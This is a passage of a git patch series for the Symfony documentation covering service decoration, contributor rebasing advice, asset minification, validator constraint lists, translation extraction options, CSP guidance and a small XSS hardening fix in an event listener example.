a reference of the old one as ``.inner``: The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1. The ``decorates`` option tells the container that the ``App\DecoratingMailer`` -service replaces the ``App\Mailer`` service. If you're using the +service replaces the ``App\Mailer`` service. +:ref:`Service tags<How to Work with Service Tags> are moved as well. +If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, the decorated service is automatically injected when the constructor of the decorating service has one argument type-hinted with the decorated service class. From df61a96a460be93fa9269c260f00e1c2cfe8102a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 16 Oct 2024 17:46:03 +0200 Subject: [PATCH 475/615] Reword --- service_container/service_decoration.rst | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index a40d4784e1d..ea6b60ef2c3 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -128,9 +128,7 @@ but keeps a reference of the old one as ``.inner``: The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1. The ``decorates`` option tells the container that the ``App\DecoratingMailer`` -service replaces the ``App\Mailer`` service. -:ref:`Service tags<How to Work with Service Tags> are moved as well. -If you're using the +service replaces the ``App\Mailer`` service. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, the decorated service is automatically injected when the constructor of the decorating service has one argument type-hinted with the decorated service class. @@ -219,12 +217,20 @@ automatically changed to ``'.inner'``): Instead, use the :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute. -.. tip:: +.. note:: The visibility of the decorated ``App\Mailer`` service (which is an alias for the new service) will still be the same as the original ``App\Mailer`` visibility. +.. note:: + + All custom :ref:`service tags </service_container/tags>`_ from the decorated + service are removed in the new service. Only certain built-in service tags + defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``, + ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``, + and ``kernel.reset``. + .. note:: The generated inner id is based on the id of the decorator service From a808be01b3e2acac99611b69d0966e8534c5ae5a Mon Sep 17 00:00:00 2001 From: Sylvain Ferlac <cirdan@users.noreply.github.com> Date: Wed, 16 Oct 2024 18:30:34 +0200 Subject: [PATCH 476/615] Fix typo preventing link to be parsed The documentation website displays a commit hash, instead of the link to the tags section --- service_container/service_decoration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index ea6b60ef2c3..53329409da6 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -225,7 +225,7 @@ automatically changed to ``'.inner'``): .. note:: - All custom :ref:`service tags </service_container/tags>`_ from the decorated + All custom :ref:`service tags </service_container/tags>` from the decorated service are removed in the new service. Only certain built-in service tags defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``, ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``, From 4dae8cacf8b1842bf253335c140f0284c7691289 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 16 Oct 2024 19:15:43 +0200 Subject: [PATCH 477/615] Minor tweak --- service_container/service_decoration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 53329409da6..97c4c25090b 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -225,7 +225,7 @@ automatically changed to ``'.inner'``): .. note:: - All custom :ref:`service tags </service_container/tags>` from the decorated + All custom :doc:`service tags </service_container/tags>` from the decorated service are removed in the new service. Only certain built-in service tags defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``, ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``, From 9f4cdcd54d44cab5a388ccad90d0c40cdc65fac8 Mon Sep 17 00:00:00 2001 From: AndoniLarz <andoni@larzabal.eu> Date: Fri, 7 Jun 2024 16:46:54 +0200 Subject: [PATCH 478/615] [Contributing] Add documentation for rebasing when contributing to the docs --- contributing/documentation/overview.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst index aae2c397dec..8b6662f18b2 100644 --- a/contributing/documentation/overview.rst +++ b/contributing/documentation/overview.rst @@ -136,6 +136,10 @@ even remove any content and do your best to comply with the **Step 6.** **Push** the changes to your forked repository: +Before submitting your PR, you may have to update your branch as described in :doc:`the code contribution guide </contributing/code/pull_requests#rebase-your-pull-request>`. + +Then, you can push your changes: + .. code-block:: terminal $ git push origin improve_install_article From 3a6235741edfd421ca32f9ac2b81dd237f54cfc4 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 18 Oct 2024 10:14:44 +0200 Subject: [PATCH 479/615] Reword --- contributing/documentation/overview.rst | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst index 8b6662f18b2..183910e6ac6 100644 --- a/contributing/documentation/overview.rst +++ b/contributing/documentation/overview.rst @@ -136,10 +136,6 @@ even remove any content and do your best to comply with the **Step 6.** **Push** the changes to your forked repository: -Before submitting your PR, you may have to update your branch as described in :doc:`the code contribution guide </contributing/code/pull_requests#rebase-your-pull-request>`. - -Then, you can push your changes: - .. code-block:: terminal $ git push origin improve_install_article @@ -189,6 +185,9 @@ changes and push the new changes: $ git push +It's rare, but you might be asked to rebase your pull request to target another +Symfony branch. Read the :ref:`guide on rebasing pull requests <rebase-your-patch>`. + **Step 10.** After your pull request is eventually accepted and merged in the Symfony documentation, you will be included in the `Symfony Documentation Contributors`_ list. Moreover, if you happen to have a `SymfonyConnect`_ From 9c81e1cb54f25e5f142c4f39f18a4086f41cc71b Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Sat, 19 Oct 2024 21:37:37 +0200 Subject: [PATCH 480/615] update external link on messenger doc --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 1d0be35b088..b546082b100 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2695,7 +2695,7 @@ Learn more .. _`streams`: https://redis.io/topics/streams-intro .. _`Supervisor docs`: http://supervisord.org/ .. _`PCNTL`: https://www.php.net/manual/book.pcntl.php -.. _`systemd docs`: https://www.freedesktop.org/wiki/Software/systemd/ +.. _`systemd docs`: https://systemd.io/ .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html From f08d2bc323dd1970b809a71a5eff2a09d01b6811 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 24 Oct 2024 10:48:27 +0200 Subject: [PATCH 481/615] [Frontend] Add some comments about minifying assets --- frontend.rst | 14 ++++++++++---- frontend/asset_mapper.rst | 14 +++++++++++--- 2 files changed, 21 insertions(+), 7 deletions(-) diff --git a/frontend.rst b/frontend.rst index 05f7e6c69df..0ae9959e0e7 100644 --- a/frontend.rst +++ b/frontend.rst @@ -34,10 +34,10 @@ Supports `Stimulus/UX`_ yes yes Supports Sass/Tailwind :ref:`yes <asset-mapper-tailwind>` yes Supports React, Vue, Svelte? yes :ref:`[1] <ux-note-1>` yes Supports TypeScript :ref:`yes <asset-mapper-ts>` yes -Removes comments from JavaScript no yes -Removes comments from CSS no no +Removes comments from JavaScript no :ref:`[2] <ux-note-2>` yes +Removes comments from CSS no :ref:`[2] <ux-note-2>` no Versioned assets always optional -Can update 3rd party packages yes no :ref:`[2] <ux-note-2>` +Can update 3rd party packages yes no :ref:`[3] <ux-note-2>` ================================ ================================== ========== .. _ux-note-1: @@ -49,7 +49,12 @@ be executed by a browser. .. _ux-note-2: -**[2]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``). +**[2]** You can install the `SensioLabs Minify Bundle`_ to minify CSS/JS code +(and remove all comments) when compiling assets with AssetMapper. + +.. _ux-note-3: + +**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``). .. _frontend-asset-mapper: @@ -137,3 +142,4 @@ Other Front-End Articles .. _`Turbo`: https://turbo.hotwired.dev/ .. _`Symfony UX`: https://ux.symfony.com .. _`API Platform`: https://api-platform.com/ +.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index c9e5d543846..1b0329d402d 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -722,9 +722,16 @@ See :ref:`Optimization <optimization>` for more details. Does the AssetMapper Component Minify Assets? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Nope! Minifying or compressing assets *is* important, but can be -done by your web server. See :ref:`Optimization <optimization>` for -more details. +Nope! In most cases, this is perfectly fine. The web asset compression performed +by web servers before sending them is usually sufficient. However, if you think +you could benefit from minifying assets (in addition to later compressing them), +you can use the `SensioLabs Minify Bundle`_. + +This bundle integrates seamlessly with AssetMapper and minifies all web assets +automatically when running the ``asset-map:compile`` command (as explained in +the :ref:`serving assets in production <asset-mapper-compile-assets>` section). + +See :ref:`Optimization <optimization>` for more details. Is the AssetMapper Component Production Ready? Is it Performant? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -1180,3 +1187,4 @@ command as part of your CI to be warned anytime a new vulnerability is found. .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle +.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle From 58e9f4a9a6984bf0ca8987e81ab5735cc946445f Mon Sep 17 00:00:00 2001 From: antonioortegajr <antonioortegajr@gmail.com> Date: Wed, 23 Oct 2024 15:39:00 -0700 Subject: [PATCH 482/615] correct grammer introduction.rst add "to" inb a sentence --- create_framework/introduction.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst index d3574de4c94..7a1e6b2ad50 100644 --- a/create_framework/introduction.rst +++ b/create_framework/introduction.rst @@ -29,7 +29,7 @@ a few good reasons to start creating your own framework: * To refactor an old/existing application that needs a good dose of recent web development best practices; -* To prove the world that you can actually create a framework on your own (... +* To prove to the world that you can actually create a framework on your own (... but with little effort). This tutorial will gently guide you through the creation of a web framework, From 67e2b2e4fe8fedf09ea79f9decc7f201dfec0cab Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Sat, 26 Oct 2024 18:04:51 +0200 Subject: [PATCH 483/615] fix footnote reference --- frontend.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/frontend.rst b/frontend.rst index 0ae9959e0e7..f498dc737b5 100644 --- a/frontend.rst +++ b/frontend.rst @@ -37,7 +37,7 @@ Supports TypeScript :ref:`yes <asset-mapper-ts>` yes Removes comments from JavaScript no :ref:`[2] <ux-note-2>` yes Removes comments from CSS no :ref:`[2] <ux-note-2>` no Versioned assets always optional -Can update 3rd party packages yes no :ref:`[3] <ux-note-2>` +Can update 3rd party packages yes no :ref:`[3] <ux-note-3>` ================================ ================================== ========== .. _ux-note-1: From d558cc884520f8febedb99e7f3bfbfe1348c30d1 Mon Sep 17 00:00:00 2001 From: decima <1727893+decima@users.noreply.github.com> Date: Sun, 27 Oct 2024 10:09:29 +0100 Subject: [PATCH 484/615] updating expression language documentation --- components/expression_language.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index f718f928702..7f98ee90de2 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -93,7 +93,7 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse` method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression` instance that can be used to inspect and manipulate the expression. The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the -other hand, returns a boolean indicating if the expression is valid or not:: +other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` if the expression is not valid:: use Symfony\Component\ExpressionLanguage\ExpressionLanguage; @@ -103,7 +103,7 @@ other hand, returns a boolean indicating if the expression is valid or not:: // displays the AST nodes of the expression which can be // inspected and manipulated - var_dump($expressionLanguage->lint('1 + 2', [])); // displays true + $expressionLanguage->lint('1 + 2', []); // doesn't throw anything Passing in Variables -------------------- From 0860ccaf88a5d3d8599832f4af9d02d6ffe139c9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 28 Oct 2024 13:01:22 +0100 Subject: [PATCH 485/615] Minor tweak --- components/expression_language.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index 7f98ee90de2..7133932da28 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -93,7 +93,8 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse` method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression` instance that can be used to inspect and manipulate the expression. The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the -other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` if the expression is not valid:: +other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` +if the expression is not valid:: use Symfony\Component\ExpressionLanguage\ExpressionLanguage; From 651bb5470fdc2e1dbde58e20345cccd571971bdf Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 29 Oct 2024 10:23:19 +0100 Subject: [PATCH 486/615] [Validation] Fix some RST syntax issue --- validation/sequence_provider.rst | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst index 55ff96acda2..7d3663f45fc 100644 --- a/validation/sequence_provider.rst +++ b/validation/sequence_provider.rst @@ -360,15 +360,15 @@ entity, and even register the group provider as a service. Here's how you can achieve this: - 1) **Define a Separate Group Provider Class:** create a class that implements - the :class:`Symfony\\Component\\Validator\\GroupProviderInterface` - and handles the dynamic group sequence logic; - 2) **Configure the User with the Provider:** use the ``provider`` option within - the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider` - attribute to link the entity with the provider class; - 3) **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>` - is enabled, your custom provider will be automatically linked. Otherwise, you must - :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag. +#. **Define a Separate Group Provider Class:** create a class that implements + the :class:`Symfony\\Component\\Validator\\GroupProviderInterface` + and handles the dynamic group sequence logic; +#. **Configure the User with the Provider:** use the ``provider`` option within + the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider` + attribute to link the entity with the provider class; +#. **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>` + is enabled, your custom provider will be automatically linked. Otherwise, you must + :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag. .. configuration-block:: From e71f495ae4e9dd28260dca39f12764bec6e1e199 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 29 Oct 2024 11:28:21 +0100 Subject: [PATCH 487/615] [Validator] Update the constraint index --- reference/constraints/map.rst.inc | 68 ++++++++++++++++++------------- 1 file changed, 40 insertions(+), 28 deletions(-) diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc index 58f519965d1..6c4d7f10936 100644 --- a/reference/constraints/map.rst.inc +++ b/reference/constraints/map.rst.inc @@ -4,53 +4,60 @@ Basic Constraints These are the basic constraints: use them to assert very basic things about the value of properties or the return value of methods on your object. -* :doc:`NotBlank </reference/constraints/NotBlank>` +.. class:: ui-list-two-columns + * :doc:`Blank </reference/constraints/Blank>` -* :doc:`NotNull </reference/constraints/NotNull>` +* :doc:`IsFalse </reference/constraints/IsFalse>` * :doc:`IsNull </reference/constraints/IsNull>` * :doc:`IsTrue </reference/constraints/IsTrue>` -* :doc:`IsFalse </reference/constraints/IsFalse>` +* :doc:`NotBlank </reference/constraints/NotBlank>` +* :doc:`NotNull </reference/constraints/NotNull>` * :doc:`Type </reference/constraints/Type>` String Constraints ~~~~~~~~~~~~~~~~~~ +.. class:: ui-list-three-columns + +* :doc:`Cidr </reference/constraints/Cidr>` +* :doc:`CssColor </reference/constraints/CssColor>` * :doc:`Email </reference/constraints/Email>` * :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>` -* :doc:`Length </reference/constraints/Length>` -* :doc:`Url </reference/constraints/Url>` -* :doc:`Regex </reference/constraints/Regex>` * :doc:`Hostname </reference/constraints/Hostname>` * :doc:`Ip </reference/constraints/Ip>` -* :doc:`Cidr </reference/constraints/Cidr>` * :doc:`Json </reference/constraints/Json>` -* :doc:`Uuid </reference/constraints/Uuid>` +* :doc:`Length </reference/constraints/Length>` +* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` +* :doc:`Regex </reference/constraints/Regex>` * :doc:`Ulid </reference/constraints/Ulid>` +* :doc:`Url </reference/constraints/Url>` * :doc:`UserPassword </reference/constraints/UserPassword>` -* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>` -* :doc:`CssColor </reference/constraints/CssColor>` +* :doc:`Uuid </reference/constraints/Uuid>` Comparison Constraints ~~~~~~~~~~~~~~~~~~~~~~ +.. class:: ui-list-three-columns + +* :doc:`DivisibleBy </reference/constraints/DivisibleBy>` * :doc:`EqualTo </reference/constraints/EqualTo>` -* :doc:`NotEqualTo </reference/constraints/NotEqualTo>` +* :doc:`GreaterThan </reference/constraints/GreaterThan>` +* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>` * :doc:`IdenticalTo </reference/constraints/IdenticalTo>` -* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>` * :doc:`LessThan </reference/constraints/LessThan>` * :doc:`LessThanOrEqual </reference/constraints/LessThanOrEqual>` -* :doc:`GreaterThan </reference/constraints/GreaterThan>` -* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>` +* :doc:`NotEqualTo </reference/constraints/NotEqualTo>` +* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>` * :doc:`Range </reference/constraints/Range>` -* :doc:`DivisibleBy </reference/constraints/DivisibleBy>` * :doc:`Unique </reference/constraints/Unique>` Number Constraints ~~~~~~~~~~~~~~~~~~ -* :doc:`Positive </reference/constraints/Positive>` -* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>` + * :doc:`Negative </reference/constraints/Negative>` * :doc:`NegativeOrZero </reference/constraints/NegativeOrZero>` +* :doc:`Positive </reference/constraints/Positive>` +* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>` Date Constraints ~~~~~~~~~~~~~~~~ @@ -64,9 +71,9 @@ Choice Constraints ~~~~~~~~~~~~~~~~~~ * :doc:`Choice </reference/constraints/Choice>` +* :doc:`Country </reference/constraints/Country>` * :doc:`Language </reference/constraints/Language>` * :doc:`Locale </reference/constraints/Locale>` -* :doc:`Country </reference/constraints/Country>` File Constraints ~~~~~~~~~~~~~~~~ @@ -77,33 +84,38 @@ File Constraints Financial and other Number Constraints ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. class:: ui-list-two-columns + * :doc:`Bic </reference/constraints/Bic>` * :doc:`CardScheme </reference/constraints/CardScheme>` * :doc:`Currency </reference/constraints/Currency>` -* :doc:`Luhn </reference/constraints/Luhn>` * :doc:`Iban </reference/constraints/Iban>` * :doc:`Isbn </reference/constraints/Isbn>` -* :doc:`Issn </reference/constraints/Issn>` * :doc:`Isin </reference/constraints/Isin>` +* :doc:`Issn </reference/constraints/Issn>` +* :doc:`Luhn </reference/constraints/Luhn>` Doctrine Constraints ~~~~~~~~~~~~~~~~~~~~ -* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` -* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>` * :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>` +* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>` +* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` Other Constraints ~~~~~~~~~~~~~~~~~ +.. class:: ui-list-three-columns + +* :doc:`All </reference/constraints/All>` * :doc:`AtLeastOneOf </reference/constraints/AtLeastOneOf>` -* :doc:`Sequentially </reference/constraints/Sequentially>` -* :doc:`Compound </reference/constraints/Compound>` * :doc:`Callback </reference/constraints/Callback>` -* :doc:`Expression </reference/constraints/Expression>` -* :doc:`All </reference/constraints/All>` -* :doc:`Valid </reference/constraints/Valid>` * :doc:`Cascade </reference/constraints/Cascade>` -* :doc:`Traverse </reference/constraints/Traverse>` * :doc:`Collection </reference/constraints/Collection>` +* :doc:`Compound </reference/constraints/Compound>` * :doc:`Count </reference/constraints/Count>` +* :doc:`Expression </reference/constraints/Expression>` +* :doc:`GroupSequence </validation/sequence_provider>` +* :doc:`Sequentially </reference/constraints/Sequentially>` +* :doc:`Traverse </reference/constraints/Traverse>` +* :doc:`Valid </reference/constraints/Valid>` From 942396b31b6dd1bb251c2027e0b093dc5c1a9b3f Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Tue, 29 Oct 2024 16:47:41 +0100 Subject: [PATCH 488/615] document the translation:extract command's --prefix option --- translation.rst | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/translation.rst b/translation.rst index 15c34460d86..3004c68d991 100644 --- a/translation.rst +++ b/translation.rst @@ -460,6 +460,15 @@ The ``translation:extract`` command looks for missing translations in: Support for extracting Translatable objects has been introduced in Symfony 5.3. +By default, when the ``translation:extract`` command creates new entries in the +translation file, it uses the same content as both the source and the pending +translation. The only difference is that the pending translation is prefixed by +``__``. You can customize this prefix using the ``--prefix`` option: + +.. code-block:: terminal + + $ php bin/console translation:extract --force --prefix="NEW_" fr + .. _translation-resource-locations: Translation Resource/File Names and Locations From 358ece7b1547c74ddb53e01ad81cfe7879fe21ef Mon Sep 17 00:00:00 2001 From: Nic Wortel <nic@nicwortel.nl> Date: Wed, 30 Oct 2024 16:21:49 +0100 Subject: [PATCH 489/615] [AssetMapper] Document usage of `strict-dynamic` in a CSP AssetMapper will include special importmap entries for CSS files, which get resolved to `data:application/javascript`. See https://symfony.com/doc/current/frontend/asset_mapper.html#handling-css. Browsers will report those as CSP violations, as `data:` scripts can also be used for XSS attacks. For the same reason, allowing `data:` in the CSP is not a safe solution. https://github.com/symfony/symfony/issues/58416#issuecomment-2383265152 provides a solution: using `strict-dynamic` in the `script-src` directive will allow the importmap to include other resources. This commit adds that solution to the documentation. --- frontend/asset_mapper.rst | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 1b0329d402d..b488fc76d11 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -402,6 +402,8 @@ from inside ``app.js``: // things on "window" become global variables window.$ = $; +.. _asset-mapper-handling-css: + Handling CSS ------------ @@ -1103,6 +1105,24 @@ it in the CSP header, and then pass the same nonce to the Twig function: {# the csp_nonce() function is defined by the NelmioSecurityBundle #} {{ importmap('app', {'nonce': csp_nonce('script')}) }} +Content Security Policy and CSS Files +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If your importmap includes CSS files, AssetMapper uses a trick to load those by +adding ``data:application/javascript`` to the rendered importmap (see +:ref:`Handling CSS <asset-mapper-handling-css>`). +This can cause browsers to report CSP violations and block the CSS files from +being loaded. +To prevent this, you can add `strict-dynamic`_ to the ``script-src`` directive +of your Content Security Policy, to tell the browser that the importmap is +allowed to load other resources. + +.. note:: + + When using ``strict-dynamic``, the browser will ignore any other sources in + ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other + ``<script>`` tags will also need to be trusted via a nonce. + The AssetMapper Component Caching System in dev ----------------------------------------------- @@ -1186,5 +1206,6 @@ command as part of your CI to be warned anytime a new vulnerability is found. .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling +.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle From 978a84aa63a28b228de42bde3251a8338f0bf523 Mon Sep 17 00:00:00 2001 From: kolossa <kolosssa@gmail.com> Date: Wed, 30 Oct 2024 20:49:04 +0100 Subject: [PATCH 490/615] Add a 'Learn More' section to event dispatcher to easily find related content --- event_dispatcher.rst | 18 ++++++++++++++++++ security.rst | 6 ++++++ 2 files changed, 24 insertions(+) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index ab3428f6cb0..b0280d64e72 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -814,3 +814,21 @@ could listen to the ``mailer.post_send`` event and change the method's return va That's it! Your subscriber should be called automatically (or read more about :ref:`event subscriber configuration <ref-event-subscriber-configuration>`). + + +Learn More +---------- + +Security +~~~~~~~~ + +- :ref:`Security Events <security-security-events>` +- :ref:`Authentication Events <security-authentication-events>` +- :ref:`Other Events <security-other-events>` + +Other +~~~~~ + +- :doc:`/reference/events` +- :doc:`/components/event_dispatcher` +- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>` diff --git a/security.rst b/security.rst index 84e4ebb7d75..12ca6ae727a 100644 --- a/security.rst +++ b/security.rst @@ -2590,6 +2590,8 @@ implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`. Then, your ``isEqualTo()`` method will be called when comparing users instead of the core logic. +.. _security-security-events: + Security Events --------------- @@ -2657,6 +2659,8 @@ for these events. ]); }; +.. _security-authentication-events: + Authentication Events ~~~~~~~~~~~~~~~~~~~~~ @@ -2691,6 +2695,8 @@ Authentication Events authentication. Listeners to this event can modify the error response sent back to the user. +.. _security-other-events: + Other Events ~~~~~~~~~~~~ From 2ff16f86c06053884b7643d18c65a579fa656112 Mon Sep 17 00:00:00 2001 From: Nicolas Grekas <nicolas.grekas@gmail.com> Date: Thu, 31 Oct 2024 11:54:54 +0100 Subject: [PATCH 491/615] Fix XSS in example event dispatcher --- event_dispatcher.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index ab3428f6cb0..0a41064ad79 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -41,6 +41,7 @@ The most common way to listen to an event is to register an **event listener**:: // Customize your response object to display the exception details $response = new Response(); $response->setContent($message); + $response->headers->set('Content-Type', 'text/plain; charset=utf-8'); // HttpExceptionInterface is a special type of exception that // holds status code and header details From 4f64f710d8c3b8c2ed3ef3bacd4ab0d8e091b35c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 31 Oct 2024 15:10:32 +0100 Subject: [PATCH 492/615] Minor tweak --- event_dispatcher.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index 0a41064ad79..64ccfa56da6 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -41,6 +41,8 @@ The most common way to listen to an event is to register an **event listener**:: // Customize your response object to display the exception details $response = new Response(); $response->setContent($message); + // the exception message can contain unfiltered user input; + // set the content-type to text to avoid XSS issues $response->headers->set('Content-Type', 'text/plain; charset=utf-8'); // HttpExceptionInterface is a special type of exception that From b92bd96513027eb350098a0eac3e6cf3887a9042 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 31 Oct 2024 15:17:30 +0100 Subject: [PATCH 493/615] Tweak --- event_dispatcher.rst | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index 826120a61e9..4baea527a77 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -822,16 +822,7 @@ That's it! Your subscriber should be called automatically (or read more about Learn More ---------- -Security -~~~~~~~~ - -- :ref:`Security Events <security-security-events>` -- :ref:`Authentication Events <security-authentication-events>` -- :ref:`Other Events <security-other-events>` - -Other -~~~~~ - +- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>` - :doc:`/reference/events` +- :ref:`Security-related Events <security-security-events>` - :doc:`/components/event_dispatcher` -- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>` From 77bb19fee49d206d84dc446ed68741dddd18f1bc Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 31 Oct 2024 15:18:56 +0100 Subject: [PATCH 494/615] Minor tweak --- event_dispatcher.rst | 1 - security.rst | 4 ---- 2 files changed, 5 deletions(-) diff --git a/event_dispatcher.rst 